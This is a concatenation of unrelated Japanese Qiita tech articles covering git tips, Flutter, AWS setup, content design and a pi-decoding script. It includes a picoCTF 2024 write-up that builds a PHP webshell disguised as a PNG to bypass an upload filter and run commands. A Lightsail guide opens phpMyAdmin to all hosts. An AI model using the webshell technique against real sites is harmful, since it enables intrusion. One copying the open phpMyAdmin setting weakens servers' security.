OmniAICreator/Qiita-1.07M huggingface dataset:
(ChatGPT3.5) 要約:分類にコメントを追加してみた。大学入試問題編

・わかりやすいタイトルを、アドバイスをお願いします。

# 例1
コメントを追加しました。
2024 香川大学 前期MathJax ＜ 大学入試数学問題集成 様
https://mathexamtest.web.fc2.com/2024/202410781/2024107810100mj.html
＞香川大の経済学部と看護学科では2次試験での数学の出題はありません．

公式ホームページ
https://www.kagawa-u.ac.jp/admission/entrance_exam/25350/general_first/
https://www.kagawa-u.ac.jp/admission/entrance_exam/past_exam/


#### 問題文のコメント追加前
```
2024-10781-0101 創造工(A,B),医(医,臨床心理学科),農,教育,法学部【１】

2024-10781-0102 創造工(A,B),医(医,臨床心理学科),農,教育,法学部【２】

2024-10781-0103 創造工(A,B),医(臨床心理学科),農,教育,法学部     【３】

2024-10781-0104 創造工(A),医(臨床心理学科),農,教育学部 
医(臨床心理学科),農,教育学部は【５】で，【４】との選択            【４】　

2024-10781-0105 創造工(B),医(臨床心理学科),農,教育,法学部
医(臨床心理学科),農,教育は【５】との選択                                           【４】　

2024-10781-0106 医(医学科)学部  　　　　　　　　　　　　　    【３】　

2024-10781-0107 医(医学科)学部 　　　　　　　　　　　　　　【４】

①各行の最後にある数字は、試験問題の番号です。
②医学部の試験番号を教えて下さい。
```

#### 問題文のコメント追加後
```
2024-10781-0101 創造工(A,B),医(医学科,臨床心理学科),農,教育,法学部【１】

2024-10781-0102 創造工(A,B),医(医学科,臨床心理学科),農,教育,法学部【２】

2024-10781-0103 創造工(A,B),医(臨床心理学科),農,教育,法学部     【３】

2024-10781-0104 創造工(A),医(臨床心理学科),農,教育学部 
医(臨床心理学科),農,教育学部は【５】で，【４】との選択            【４】　

2024-10781-0105 創造工(B),医(臨床心理学科),農,教育,法学部
医(臨床心理学科),農,教育学部は【５】との選択                                           【４】　

2024-10781-0106 医(医学科)学部  　　　　　　　　　　　　　    【３】　

2024-10781-0107 医(医学科)学部 　　　　　　　　　　　　　　【４】

各行の最後にある数字は、試験問題の番号です。

創造工(A,B)は、創造工学部(A)と創造工学部(B)の意味です。
医(医学科,臨床心理学科),は、医学部(医学科)と医学部(臨床心理学科)の意味です。
農は、農学部の意味です。
教育は、教育学部の意味です。
共通は、なしにして下さい。

・全部で学部、学科の数はいくつありますか。
　内訳も教えて下さい。
・創造工学部(A)の試験番号を教えて下さい。
・創造工学部(B)学部の試験番号を教えて下さい。
・医学部(医学科)の試験番号を教えて下さい。
・医学部(臨床心理学科)の試験番号を教えて下さい。
・農学部の試験番号を教えて下さい。
・教育学部の試験番号を教えて下さい。
・法学部の試験番号を教えて下さい。
```
回答
希望とは、異なりました。
```
学部、学科の数は次の通りです：

学部: 7
創造工学部(A)
創造工学部(B)
医学部(医学科)
医学部(臨床心理学科)
農学部
教育学部
法学部
試験番号は以下の通りです：

創造工学部(A)の試験番号: 0101
創造工学部(B)の試験番号: 0102
医学部(医学科)の試験番号: 0106
医学部(臨床心理学科)の試験番号: 0104、0105
農学部の試験番号: 0101、0102、0103、0104、0105
教育学部の試験番号: 0104、0105
法学部の試験番号: 0101、0102、0103
```

# 例2
2024　東北大学　前期MathJax  ＜ 大学入試数学問題集成 様
https://mathexamtest.web.fc2.com/2024/202410081/2024100810100mj.html
```
<div class="qbody">
<p class="slevel"><span 
class="qnum">文系・理系の学部・学科別</span></p>
<p class="s1level"><span class="futoji">文系</span>　文・教育・法・経済(文系)・医(保健学科看護学専攻)学部</p>
<p class="s1level"><span class="futoji">理系</span>　経済(理系)・理・医(医学科・保健学科放射線技術科学専攻・検査技術科学専攻)・歯・薬・工・農学部</p>
</div>
学科いくつありますか。
```

ChatGPT
```
与えられたテキストに基づいて、学科を数えてみましょう。

文系の学科：

文学部
教育学部
法学部
経済学部（文系）
医学部（保健学科看護学専攻）
理系の学科：

経済学部（理系）
理学部
医学部（医学科、保健学科放射線技術科学専攻、検査技術科学専攻）
歯学部
薬学部
工学部
農学部
以上から、文系の学科は5つであり、理系の学科は7つです。
```
???　「学科毎の試験問題番号の問い合わせ方」を思いつきませんでした。
Brave on linuxが起動しない

## 環境
```
$ neofetch
            .-/+oossssoo+/-.               rei@atl-main-lu 
        `:+ssssssssssssssssss+:`           --------------- 
      -+ssssssssssssssssssyyssss+-         OS: Ubuntu 22.04.4 LTS x86_64 
    .ossssssssssssssssssdMMMNysssso.       Host: B550M Pro4 
   /ssssssssssshdmmNNmmyNMMMMhssssss/      Kernel: 6.5.0-26-generic 
  +ssssssssshmydMMMMMMMNddddyssssssss+     Uptime: 16 mins 
 /sssssssshNMMMyhhyyyyhmNMMMNhssssssss/    Packages: 2980 (dpkg), 11 (flatpak), 
.ssssssssdMMMNhsssssssssshNMMMdssssssss.   Shell: bash 5.1.16 
+sssshhhyNMMNyssssssssssssyNMMMysssssss+   Resolution: 1360x768, 3440x1440, 192 
ossyNMMMNyMMhsssssssssssssshmmmhssssssso   DE: GNOME 42.9 
ossyNMMMNyMMhsssssssssssssshmmmhssssssso   WM: Mutter 
+sssshhhyNMMNyssssssssssssyNMMMysssssss+   WM Theme: Adwaita 
.ssssssssdMMMNhsssssssssshNMMMdssssssss.   Theme: Yaru-red-dark [GTK2/3] 
 /sssssssshNMMMyhhyyyyhdNMMMNhssssssss/    Icons: Yaru-red [GTK2/3] 
  +sssssssssdmydMMMMMMMMddddyssssssss+     Terminal: gnome-terminal 
   /ssssssssssshdmNNNNmyNMMMMhssssss/      CPU: AMD Ryzen 7 5800X3D (16) @ 3.40 
    .ossssssssssssssssssdMMMNysssso.       GPU: NVIDIA GeForce GTX 1080 Ti 
      -+sssssssssssssssssyyyssss+-         Memory: 5361MiB / 48085MiB 
        `:+ssssssssssssssssss+:`
            .-/+oossssoo+/-.                                       
                                                                   
```
## 現象
アイコンをクリックしても起動しない
ターミナルから起動すると
```
$ brave-browser
[3845:3845:0328/041010.700984:ERROR:process_singleton_posix.cc(353)] The profile appears to be in use by another Brave process (3426) on another computer (ATL-Rei-main-R75800X3D-LU). Brave has locked the profile so that it doesn't get corrupted. If you are sure no other processes are using this profile, you can unlock the profile and relaunch Brave.
[3845:3845:0328/041010.701055:ERROR:message_box_dialog.cc(146)] Unable to show a dialog outside the UI thread message loop: Brave - The profile appears to be in use by another Brave process (3426) on another computer (ATL-Rei-main-R75800X3D-LU). Brave has locked the profile so that it doesn't get corrupted. If you are sure no other processes are using this profile, you can unlock the profile and relaunch Brave.
```
と言われ，起動しない．

## 原因
PC名を変更後braveが強制終了してしまったことにより，プロファイルロックが残ってしまったため．

## 解決
ロックファイルを削除すれば良い．
~/.config/BraveSoftware/Brave-Browser/SingletonLock が問題のファイルなので
    
    rm ~/.config/BraveSoftware/Brave-Browser/SingletonLock 
を実行する．

## 感想
強制終了でロックファイル周りが残っちゃうってlinuxあるあるですよね， むやみにしてはいけないね...（当たり前）
知らないとヤバイ‼️ Gitでトラブった時の便利なコマンド

# 参考動画

https://www.youtube.com/watch?v=hUYUld6aEmc

# はじめに
エンジニアになってからGitでトラブルはよくあります。そんな時に対処できるコマンドを見事にまとめてくれました‼︎
この動画の内容を使いやすくて、よく使いそうなものの順で書きます。
(自分が使ったことあるのを優先で書きます)


# コミットを間違えた時
- 直前のコミットをなかったことにする(取り込まれていないなら)
```
git reset --soft HEAD^
```

HEADでインデックスを元に戻す
```
git reset HEAD~
```

HEAD、インデックス、ワーキングツリーを元に戻す
```
git reset --hard HEAD~
```

- 指定したコミットを打ち消すコミットを作成(取り込まれているなら)
```
git revert コミットのハッシュ値
```
- 直前のコミットに上書き
コミットのメッセージを間違えた時に使えます。
```
git commit --amend
```
あと***git rebase失敗した時、コンフリクトを避けるためにコミットを上書き***に使うみたいです。


# ブランチ名を間違えた時
これよくやっちゃいますよね😅
リモートブランチとローカルブランチでやり方違うのでまとめてみました。

- ***ローカルブランチ名の変更***
```
git branch -m ブランチ名

git branch -m 古いブランチ名 新しいブランチ名
```
- ***リモートブランチ***

```
# ローカルのブランチ名を変更
git branch -m 古いブランチ名 新しいブランチ名

# 変更したブランチを新たにリモートへpush
git push -u origin 現在のブランチ名  // $ git push -u origin HEAD とするとブランチ名を入力しなてもpushできるので便利です。

# 間違えてpushしたリモートブランチを削除
$ git push origin リモートのブランチ名
```

# 作業中に緊急対応しないといけない時

```
git stash
```
ブランチを切り替えて作業。作業後、ブランチを元に戻す。
```
git stash pop
```

stash知らない場合はこちらをご覧ください。

https://zenn.dev/norihashimo/articles/3052023f8bcdac


# マージしたけどコンフリクトしまくるので元に戻したい
```
git reset --hard ORIG_HEAD

```

# 誤ったコミットをpushしてしまった

```
git push origin ブランチ名

git reset --hard コミット

git push origin ブランチ名
```


# ブランチを間違えて消してしまった
```
git reflog
git branch ブランチ名　コミット
```

# コミット間違えて消してしまった

```
git reflog
git reset --hard <コミット>
```


# 別のブランチにコミットしてしまった
```
git branch 別ブランチ

git reset --hard HEAD~

git switch 別ブランチ
```

# 余計なファイルをコミットしてしまったのでignoreしたい
- Gitの管理から削除するなら
```
git rm --cached <ファイル名>
echo '<ファイル名>'　>> .gitignore
```
- ファイルを履歴から消すなら
```
git filter-branch -f --index-filter 'git rm --cached -rf --ignore-unmatch <ファイル名>' HEAD
```


# 違うユーザー名でコミットしてしまった
.gitconfigか .git/configでユーザー名を変更します。

HEADのユーザー名、メールアドレスを変えたい時
```
git commit --amend -m "コミットメッセージ"　--author "user.name <user.email>"

```

例えばこんな感じ
ex)
```
git commit --amend --author="Correct Name <correct.email@example.com>"
```

# リリース後バグがあったので、すぐに切り戻したい

```
git log

git revert -m | マージコミット
```

# 切り戻したあと再マージできないとき

```
git revert 打ち消したコミット

git merge ブランチ名

```




# 参考資料

https://qiita.com/shuntaro_tamura/items/06281261d893acf049ed

https://qiita.com/shungo_m/items/4218e70751375b4bfeec

https://qiita.com/ritukiii/items/74ee3274c3f218511a0c
【読書メモ】コンテンツ・デザインパターン

# コンテンツ設計の全体像

コンテンツ設計は大きく分けて下記の要素から構成される。

* 伝え方の工夫
* 伝える内容の工夫
* 伝える体裁の工夫
* 効果測定と改善の実施

## 伝え方の工夫

下記の整理と検討を行う。

* 顧客と商品の関係性の確認
* 目的の決定
* 切口の決定

顧客と商品の関係性に応じて、何を目的とするのか、どんな切口で伝えるのが効果的なのかが変わってくる。

### Seeker(検索者)前期

一般的には「潜在客」と呼ばれる。

|顧客に理解してほしいこと|顧客にしてほしいこと|切口|
|---|---|---|
|問題を解決してくれる商品カテゴリーがありそうだと気付いてもらう|商品カテゴリー名で検索をしてもらう|発見コンテンツ|

### Seeker(検索者)後期

一般的には「顕在客」と呼ばれる。

|顧客に理解してほしいこと|顧客にしてほしいこと|切口|
|---|---|---|
|企業名または商品名を認知してもらう。簡単な商品特長を理解してもらう|商品名で検索をしてもらう。自社の商品サイト・実店舗に来てもらう。資料請求・メルマガ登録をしてもらう|共感コンテンツ|

### Buyer(購入者)期

一般的には「見込客」と呼ばれる。

|顧客に理解してほしいこと|顧客にしてほしいこと|切口|
|---|---|---|
|自社商品が自分に最適だと理解してもらう|試供品・サンプルの請求をしてもらう。セミナーへの申込をしてもらう。|自分事化コンテンツ|

### Payer(支払者)期

一般的には「初回購入客」「利用者」と呼ばれる。

|顧客に理解してほしいこと|顧客にしてほしいこと|切口|
|---|---|---|
|購入後に「最良の選択だった」と思ってもらう|納得して購入してもらう。早速、使い始めてもらう|納得コンテンツ|

### User(利用者)期

一般的には「継続購入客」「プレミアム支払客」「再購入客」と呼ばれる。

|顧客に理解してほしいこと|顧客にしてほしいこと|切口|
|---|---|---|
|品質に納得し、満足してもらう。商品の優位性を確認してもらい、「やはり間違い無かった」と思ってもらう|継続的に購入し続けてもらう。より頻繁に、より高価な商品を購入してもらう|リピートコンテンツ|

### Positive user(好意的利用者)期

一般的には「インフルエンサー」「アンバサダー」「アドボケーター」と呼ばれる。

|顧客に理解してほしいこと|顧客にしてほしいこと|切口|
|---|---|---|
|企業はファンを大事にしていること。プロを含めて多くの人から商品が愛されていること|継続的に購入し続けてもらう。好意を持って商品を他人に勧めてもらう。企業に建設的なフィードバックをしてもらう|ファン化コンテンツ|

### Negative user(否定的利用者)期

一般的には「利用疑問客」「離反客」「反逆客」と呼ばれる。

|顧客に理解してほしいこと|顧客にしてほしいこと|切口|
|---|---|---|
|商品に対する疑問・不安を解決してもらう。企業が努力し、改善していることを理解してもらう|コールセンター等の窓口へ相談・問合せしてもらう。商品の利用・購入を継続してもらう|リカバリーコンテンツ|

## 伝える内容の工夫

下記の整理と検討を行う。

* 商品特長の確認
* ターゲット顧客の確認
* 利用シーンの確認
* 顧客便益の決定

## 伝える体裁の工夫

下記の整理と検討を行う。

* 表現の決定
* メディア活用法の決定

## 効果測定と改善の実施

下記の整理と検討を行う。

* 目標の決定
* KPI の決定

効果測定を基に改善の為の打ち手を決めるには下記の情報が必要となる。

* 解析情報
* 分析情報
* 改善情報

### 解析情報

コンテンツの効果を測定したデータの提示を目的とする情報。

|解析のタイミング|解析の内容|
|---|---|
|顧客がコンテンツに来る前|ターゲット顧客が検索に使用しているキーワードの解析を行う|
|顧客がコンテンツに来た後|ターゲット顧客がコンテンツ内でどんな行動を取っているか解析を行う|

顧客行動の解析方法の一つとして、ターゲット顧客の行動を軌跡動画や音声で記録する方法がある。

### 分析情報

効果の原因は何だったのかを示す仮説の提示を目的とする情報。

### 改善情報

今後はどのように改善できるのか提示することを目的とする情報。
下記の情報をセットで提示すると良い。

* 改善の為のアイディアと方法の提示
* 想定予算の提示
* スケジュールの提示

# コンテンツ設計の作業順序

下図の順序で考えていく。が、判っているところから埋めていく方針で良い。

![business_model.コンテンツブリーフ.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/98355/f97eeaa5-3030-aff8-bba5-f5f697059792.png)

# キャッチコピーの書き方

下図の順序で作業を進める。

![business_model.キャッチコピー.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/98355/b3f16055-42b6-bc53-fbbe-e9e01e47ba30.png)

# コピーの構成要素

「コピー」は下記の要素から構成される。

|名称|役割|
|---|---|
|キャッチコピー|ターゲット顧客の心を掴んで興味を持たせる為の大見出し|
|リードコピー|何が書かれているかコンテンツ全体の要約|
|中見出し|個々のセクションでこれから語ることの要約|
|小見出し|ボディーコピーのまとめを一言で記述する|
|ボディーコピー|顧客へ伝えたい内容(コピー本体)を記述する|
|キャプションコピー|画像内の説明文|
|アクションコピー|顧客にしてほしいことを記述する|

# 参考資料

|著者|書名|出版社|出版年|
|---|---|---|---|
|吉澤 浩一郎|コンテンツ・デザインパターン|技術評論社|2017|
SageMaker Studio Labの環境をリセットする

# 結論

1 condaの環境を確認する
```bash
$ conda env list
default               *   /home/studio-lab-user/.conda/envs/default
studiolabe               /opt/amazon/sagemaker/safemode-home/.conda/envs/studiolab
studiolab-safemode      /opt/amazon/sagemaker/safemode-home/.conda/envs/studiolab-safemode
base                    /opt/conda
sagemaker-distribution     /opt/conda/envs/sagemaker-distribution
```

<br>

2  アクティブな環境をbaseに移動する 
```bash
$ conda activate base
```
<br>

3 base以外の環境を削除する
```
$ conda remove -n default --all
$ conda remove -n sagemaker-distribution  --all
$ conda remove -n studiolab-safemode --all
$ conda remove -n studiolab --all
```
<br>


4 一度ログアウトしてProjectを停止、再起動するとデフォルトの環境が作り直されている。完了。



# 参考
こちらに情報がありました。

https://github.com/aws/studio-lab-examples/issues/75#issuecomment-1326660232
AWSのlightsailのLAMPにワードプレスをインストールする

## LightsailのLAMPにわざわざワードプレスをインストールする理由

Lightsailにワードプレスの簡単インストールもあるんですけど、インスタンス追加になりLAMP環境とは別料金になるんですよね。

インスタンス節約したいじゃないですか。
円安ですよ。

①ワードプレスをDLしてきます。

https://ja.wordpress.org/


②Lightsailのターミナルから以下を入力してphpmyadminを使えるようにします。
```
vi /opt/bitnami/apache/conf/bitnami/phpmyadmin.conf
```
③Viエディタを起動して4行目と5行目を修正し以下のようにします。

```
Alias /phpmyadmin "/opt/bitnami/phpmyadmin"
<Directory "/opt/bitnami/phpmyadmin">
  Options -Indexes +FollowSymLinks -MultiViews
  #AllowOverride All
  AllowOverride None
  #Require local
  <IfVersion < 2.3>
  Order allow,deny
  Allow from all
  Satisfy all
  </IfVersion>
  <IfVersion >= 2.3>
  Require all granted
  </IfVersion>
  ErrorDocument 403 "For security reasons, this URL is only accessible using localhost (127.0.0.1) as the hostname."
  # AuthType Basic
  # AuthName phpmyadmin
  # AuthUserFile "/opt/bitnami/apache/conf/users"
  # Require valid-user
</Directory>

```
④Lightsailのインスタンスを再起動します。

⑤接続先のアドレス「パブリック IPV4」とphpmyadminをくっつけてURLにします

```
https://（パブリック IPV4）/phpmyadmin　もしくは　http://（パブリック IPV4）/phpmyadmin
```
⑥phpmyadminページが表示されます

ユーザー名：root
パスワードはターミナルで以下のように入力しておしえてもらいます。表示されたらメモっておく。
```
cat bitnami_credentials
```

⑦phpmyadminにログインしたらデーターベースを作成します。

![phpmyadmin01.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283508/eebe7af9-8142-e536-531a-0b8efc602a03.png)

⑧DLしてきたワードプレスを解凍し、/opt/bitnami/apache/htdocs以下にアップロードしてフォルダにアクセスするとインストーラーの画面になります。

⑨無事入力が終わったら「ファイル「wp-config.php」に書き込みできませんでした。手動でwp-config.phpを作成し・・・」に遭遇するとおもいます
解決方法は

wp-config-sample.php

を「中に次のテキストを～」を張り付けて同じ階層にアップロードするだけでOKです。

これでインストールを進めることができます:relaxed:

以上です！あとはよくわかりません！
picoCTF 2024 Writeup

# はじめに
2024/3/13-3/27の期間で開催された[picoCTF 2024](https://play.picoctf.org/events/73)に参加しました。
主にWeb問を解いていたのですが、その中で解くことができてうれしかった問題があったので備忘録もかねてWriteupを書きました。

# Trickster
> AUTHOR: JUNIAS BONOU
  Description
  I found a web app that can help process images: PNG images only!
  Additional details will be available after launching your challenge instance.

説明の通りですが、URLにアクセスするとPNGファイルのみアップロードできるWebアプリにつながります。
どうにかこうにかPNG以外のファイルをアップロードしてFlagを取得しようという問題です。
  
### アップロード条件
なんとなくWebアプリを見ていて見つけた条件は以下の通りです。

- .pngが含まれていること ・・・①
- Magic numberがPNGファイルのもの（89 50 4E 47）であること　・・・②
参考: [マジックナンバーまとめ](https://qiita.com/forestsource/items/15933888466ba9c3f048)

### Webshell作成
先の条件に合うようなファイルを作成します。今回私はPHPでGETリクエストのパラメータを受け取り、実行するようなファイルを作ろうと考えました。

#### 1. phpで下記ファイルを作成
まずは(超)簡単なphpプログラムを作成します。この時①の条件を意識して`webshell.png.php`として保存しました。
```php:webshell.png.php
<?php
system($_GET(cmd));
>
```
#### 2. Magic numberの変更
②の条件をクリアするためにはPNGファイルのMagic numberを挿入する必要があります。Magic numberといっても実態はファイル冒頭のデータなので、追加してあげればいいだけです。
`vi -b`コマンドでバイナリ編集ができると知ったのでそれを使いました。

Magic numberを挿入後`xxd`で確認してみると、`8950 4e47`が追加されたことがわかります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1901407/caa93e77-8000-d270-0fb3-3f13de6d6bf2.png)


### ファイルアップロード
作成したファイルをアップロードします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1901407/fa8c28da-ddd6-661c-2fa4-16729712d5c3.png)

### Webshell実行
どこにファイルがアップロードされるのかわからなかったのですが、運よく`uploads/webshell.png.php`が見つかりました。
`?cmd=`で実行したいコマンドを渡します。

まずは`?cmd=ls /var/www/html/`とし階層にどんなファイルがあるのかを探ってみます。すると`GNTDOMBWGIZDE.txt`という見慣れないファイルを発見。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1901407/5c5fe856-6789-80c7-f5d1-0c72aabe7f63.png)


`?cmd=cat /var/www/html/GNTDOMBWGIZDE.txt`してみるとフラグが取れました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1901407/31eabea5-404d-2dee-b91d-1da773451a44.png)

# おわりに
前にどこかのCTFに参加した際は解けなかったWebshellの問題が今回自力で解けたのでとてもうれしかったです😊
ほんとにちょっとずつですが成長できているなと感じることができました。
ほかにも解けなかった問題はたくさんあるので、常設となった問題で復習をしたいと思います。

# 参考
- [Working with Magic numbers in Linux](https://www.geeksforgeeks.org/working-with-magic-numbers-in-linux/)
- [バイナリファイルを閲覧・編集する (vi, xxd)](http://tech.clickyourstyle.com/articles/204)
【学習メモ：Flutter入門編】TextFieldの使い方

これから「Flutter」を勉強していこうと思っている人向けには「メモ」程度で参照してみてください。

■ TextField（テキストフィールド）
文字を入力させるためのWidgetである。
アプリ上（スマホ）で操作すると、キーボードが下から表示される。

■ デコレーションの方法
「decoration」の項目を利用する事で簡単に見た目を変更する事が可能。

* border：入力欄にボーダーを表示
* labelText：入力欄にラベルを表示
* hintText：入力内容の説明を表示
* errorText：エラーが発生した際に **「動的」** に表示・非表示をカスタマイズ

【サンプルコード】
```
final text = TextField(
  decoration: InputDecoration(
    border: OutlineInputBorder(),
    labelText: 'お名前',
    hintText: 'フルネームで入力してください。',
    errorText: 'カタカナでの入力はできません。'
  ),
);
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3755252/37312190-3b94-7277-b672-b93739844430.png)

■ コントローラーについて
入力された文字を利用するために、コントローラーをWidgetに紐づけておく必要がある。
【サンプルコード】
```diff
+ final controller = TextEditingController();
  final text = TextField(
+   controller: controller,
    decoration: InputDecoration(
      border: OutlineInputBorder(),
      labelText: 'お名前',
      hintText: 'フルネームで入力してください。',
      errorText: 'カタカナでの入力はできません。'
    ),
  );
```

なお、上記プログラムで作成したコントローラーから、文字列を取得したい場合は「controller.text」で取得する事が可能。

■ 不要になったコントローラーのデータ削除について
不要になったコントローラーを削除するには以下のように定義する。

`controller.dispose()`

# 最後に
Flutter（Dart言語）に関する最低限の情報を「学習メモ」としてまとめてみました。
内容に誤りがありそうであれば、遠慮なくご指摘いただけますと幸いです。

【学習の参考にした動画】
素敵な解説動画の作成ありがとうございます。
本記事の内容より。動画を見た方が解りやすいと思います。

https://www.youtube.com/watch?v=-1si6nPD3Fs&list=PLY1cxwSQf6nz6zo2Y_UJlDjGOpASAO4hd&index=8
【学習メモ：Flutter入門編】Buttonの使い方

これから「Flutter」を勉強していこうと思っている人向けには「メモ」程度で参照してみてください。

■ Button（ボタン）
ボタンを押すと、Dart言語で作成した対応する「関数」が呼び出されている。
関数のことを調べたければ「Dart」で調べる方が良い。

ボタンの種類は下記等が存在する。

* ElevatedButtton（エレベーテッドボタン）
* TextButton（テキストボタン）
* OutlinedButton（アウトラインドボタン）
* IconButton（アイコンボタン）
* FloatingActionButton（フローティングアクションボタン）
* DropdownButton（ドロップダウンボタン）
* PopupMenuButton（ポップメニューボタン）

なお、下記のボタンは古くなったので新しいボタンを使うように注意する。

* FlatButton ⇒ TextButton
* RaisedButton ⇒ ElevatedButtton
* OutlineButton ⇒ OutlinedButton

■ 関数の種類
【普通の関数】
```
★★★★★() {
}
```

【無名関数】
```
() {
}
```

【アロー関数】
```
() =>
```

■ ボタンと関数の関連付け方
オリジナルの関数を作成後、作成したボタンの「onPressed」項目に登録を行う。

【例】
```
buttonClick() {
  debugPrint('プッシュありがとう！！');
}

final button = ElevatedButton(
  onPressed: buttonClick,
  child: Text('プッシュ！')
);
```

表示された下記のようなボタンをクリックすると「buttonClick」関数が呼び出される。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3755252/b6f57882-4389-83f6-ee1b-8090eea98920.png)

■ ボタンのスタイルを変更
「style」という項目を定義する事で、お好みのスタイルに変更が可能。

【例】
```
final button = ElevatedButton(
  onPressed: buttonClick,
  child: Text('プッシュ！'),
  style: ElevatedButton.styleFrom(
    backgroundColor: Colors.green,
    foregroundColor: Colors.white
  ),
);
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3755252/82495357-201f-247f-f4b6-16d159c2fd8e.png)

■ 押せないボタンの作成
「onPressed」という項目に対して「null」を設定する事で実現が可能。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3755252/b02422b7-274b-b9fa-686e-5fb1d294accd.png)

# 最後に
Flutter（Dart言語）に関する最低限の情報を「学習メモ」としてまとめてみました。
内容に誤りがありそうであれば、遠慮なくご指摘いただけますと幸いです。

【学習の参考にした動画】
素敵な解説動画の作成ありがとうございます。
本記事の内容より。動画を見た方が解りやすいと思います。

https://www.youtube.com/watch?v=KXc38uyYWbs&list=PLY1cxwSQf6nz6zo2Y_UJlDjGOpASAO4hd&index=7
20240327 gitのエイリアス、先日の改良

### Gitの小技

#### あるブランチがマージ済みかどうか、の改善
一昨日かいた「[20240325 gitあれこれ、プロンプト、ブランチへのpush禁止、aliasに引数 #Git - Qiita](https://qiita.com/tontoroRR/items/e40484e97f4e96177dc1#git-alias%E3%81%AB%E5%BC%95%E6%95%B0%E6%B8%A1%E3%81%97%E3%81%9F%E3%81%84)」、このエイリアスは大変無駄がおおかった
`git branch --merged`をつかうともっと短い
```
in = "!git branch --merged | grep $1 >>/dev/null && echo $1 is merged. || echo $1 is NOT merged. #"
```

#### 今いるブランチ名取得
```bash
git rev-parse --abbrev-ref HEAD
```
`alias.now`でエイリアス作っておくと楽ちん

#### マージ済みローカル/リモートブランチを一括削除
うえで作った`alias.now`を再利用
```bash:ローカルブランチの一括削除
  del-in = "!for b in $(git branch --merged | grep -v $(git now)); do git branch -d $b; done #"
```


```bash:リモートブランチの一括削除（引数にリモートリポジトリをとる）
  del-remote-in = "!if [ -z \"$1\" ]; then repo=origin;else repo=$1; fi; for b in $(git branch -a --merged | grep -v $(git now) | grep remotes | cut -d'/' -f3) ; do git push $repo :$b; done #"
```
これ、最初 `if [[ -z $1 ]]`とやっていたが、`[[: not found`というエラーが出て困っていた
じつは`if [[...]]`の書き方はbashの記法で、ここでは`if [...]`と書く必要がある
参考：[shell - String comparison in bash. \[\[: not found - Stack Overflow](https://stackoverflow.com/questions/12230690/string-comparison-in-bash-not-found)

もっと短く書けないのかな
全ての情報を含むπから任意の情報を取り出す試みinfo.py

info.py
円周率πは無限大の情報量を持ち、全ての情報を含んでいます。

このプログラムは円周率を発生させ、文字にデコードし、円周率に含まれる情報を取り出します。

意中の人の電話番号も、もちろん円周率の中に含まれているので、πを持っているだけで、「意中の人の電話番号を持っている」と言えます。但し、πの中のどこからどこまでかは分からないため、「意中の人の電話番号を知っている」とは言えません。

πを持っているだけで、と書きましたが、持っているπの桁数が有限ならば、その中に意中の人の電話番号がない可能性があるので、その場合、意中の人の電話番号を持っているとは言えません。

このプログラムのデコード方法は、i=" 0123456789.,abcdefghijklmnopqrstuvwxyz"という文字列を使い、十進数で２桁ずつ区切って100で割り、iの長さを掛けて、iに当てはめるというものです。
取り出せる情報はデコード方法によって変わります。πは上質の乱数列なので、殆どが無駄な情報で、実用的とは言えませんが、無限に続ければ多分期待した文字列は出てくるので、辛抱強く待ち続けましょう。但し、多分その前に地球が滅亡してしまうでしょう。

このプログラムのような単純なデコード方法で、円周率の中から任意の情報を引き出すことができるかどうかは、可能、不可能、2つの説があります。ある特定の情報が出てくるかどうかは、無限小の可能性で出てこない可能性もあります。
このプログラムのπの発生はガウス・ルジャンドル法に依ります。

何もかも知ってをるなり竈猫　富安風生

意中の人の電話番号は、竈猫に聞いたら分かりますが、猫はナンバーを喋れないので、猫語のデコードが必要です。πは竈猫です。
これがまあ、情報の内在性と言っていいでしょう。

```info.py
#!/usr/bin/python3
import sys
k, a, b, a1, b1 = 2, 4, 1, 12, 4
i=" 0123456789.,abcdefghijklmnopqrstuvwxyz"
f=0
while(True):
  # Next approximation
  p, q, k = k*k, 2*k+1, k+1
  a, b, a1, b1 = a1, b1, p*a+q*a1, p*b+q*b1
  # Print common digits
  d = a / b
  d1 = a1 / b1
  n1=-1
  while(d == d1):
    if n1==-1:
        pass
    else:
        n=int((int(n1)*10+int(d))/100*len(i))
        print(i[n],end='')
    n1=d
    sys.stdout.flush()
    a, a1 = 10*(a%b), 10*(a1%b1)
    d, d1 = a/b, a1/b1
```
このプログラムのガウス・ルジャンドル法では、時間さえあればπの値が取り出せるので、有限のメモリから無限の情報を引き出すことが出来ます。でも、人類に与えられた時間は有限です。無限と仮定したら面白いでしょう。

完全乱数は存在します。僕は数学的存在証明を知りませんが、イデア界には存在します、
完全乱数からは下のデコード方法で任意の情報を取り出せるので、下のプログラムを持っているだけで、
「意中の人の電話番号を取り出すことのできるプログラムを持っている」と言えます。
但し、現存のコンピュータは今の所有限なので、チューリングマシンが必要です。
/dev/randomの環境ノイズから取り出せる乱数は、本当は真性乱数と言います。
ここでは、真性乱数を完全乱数であると仮定しています。

```phoneno.py
#!/usr/bin/python3
import os
import binascii


def main():
    f=open("/dev/random",'rb') # /dev/randomを開く
    while(1):
        randomdata=f.read(1) # 1バイトの完全乱数の読み出し
        randomhex=binascii.hexlify(randomdata) #１６進の文字列に変換
        randomint=int(randomhex,16) # 整数に変換
        i='0123456789 '
        n=randomint/256*len(i)
        print(i[n],end='')
    f.close() # /dev/randomを閉じる
    return

if __name__=='__main__':
	main()
	exit(0)

```
# 同じアイディアのプログラムで、3桁の金庫の鍵のナンバーを当てるプログラムを作ってみました。

実際、眠剤を飲む必要に迫られて、3桁の薬箱の鍵のナンバーを当てる試行をしてみましたが、数回では当たりませんでした。
確率pで起こる事象の持つ情報量は-log_2 p　なので、
1/1000の確率で当たる金庫の鍵クイズの答が持つ情報量は-log_2 1/1000=3log_2 10=6.907755279です。

初歩的な情報理論については、ここが

https://www.momoyama-usagi.com/entry/info-entropy

簡単に書いてるし、参考になります。
確率0で起こる事象が起こったら情報量無限大で、確率1で起こる事象が起こったら情報量０です。

情報量という言葉の定義は2つ必要で、
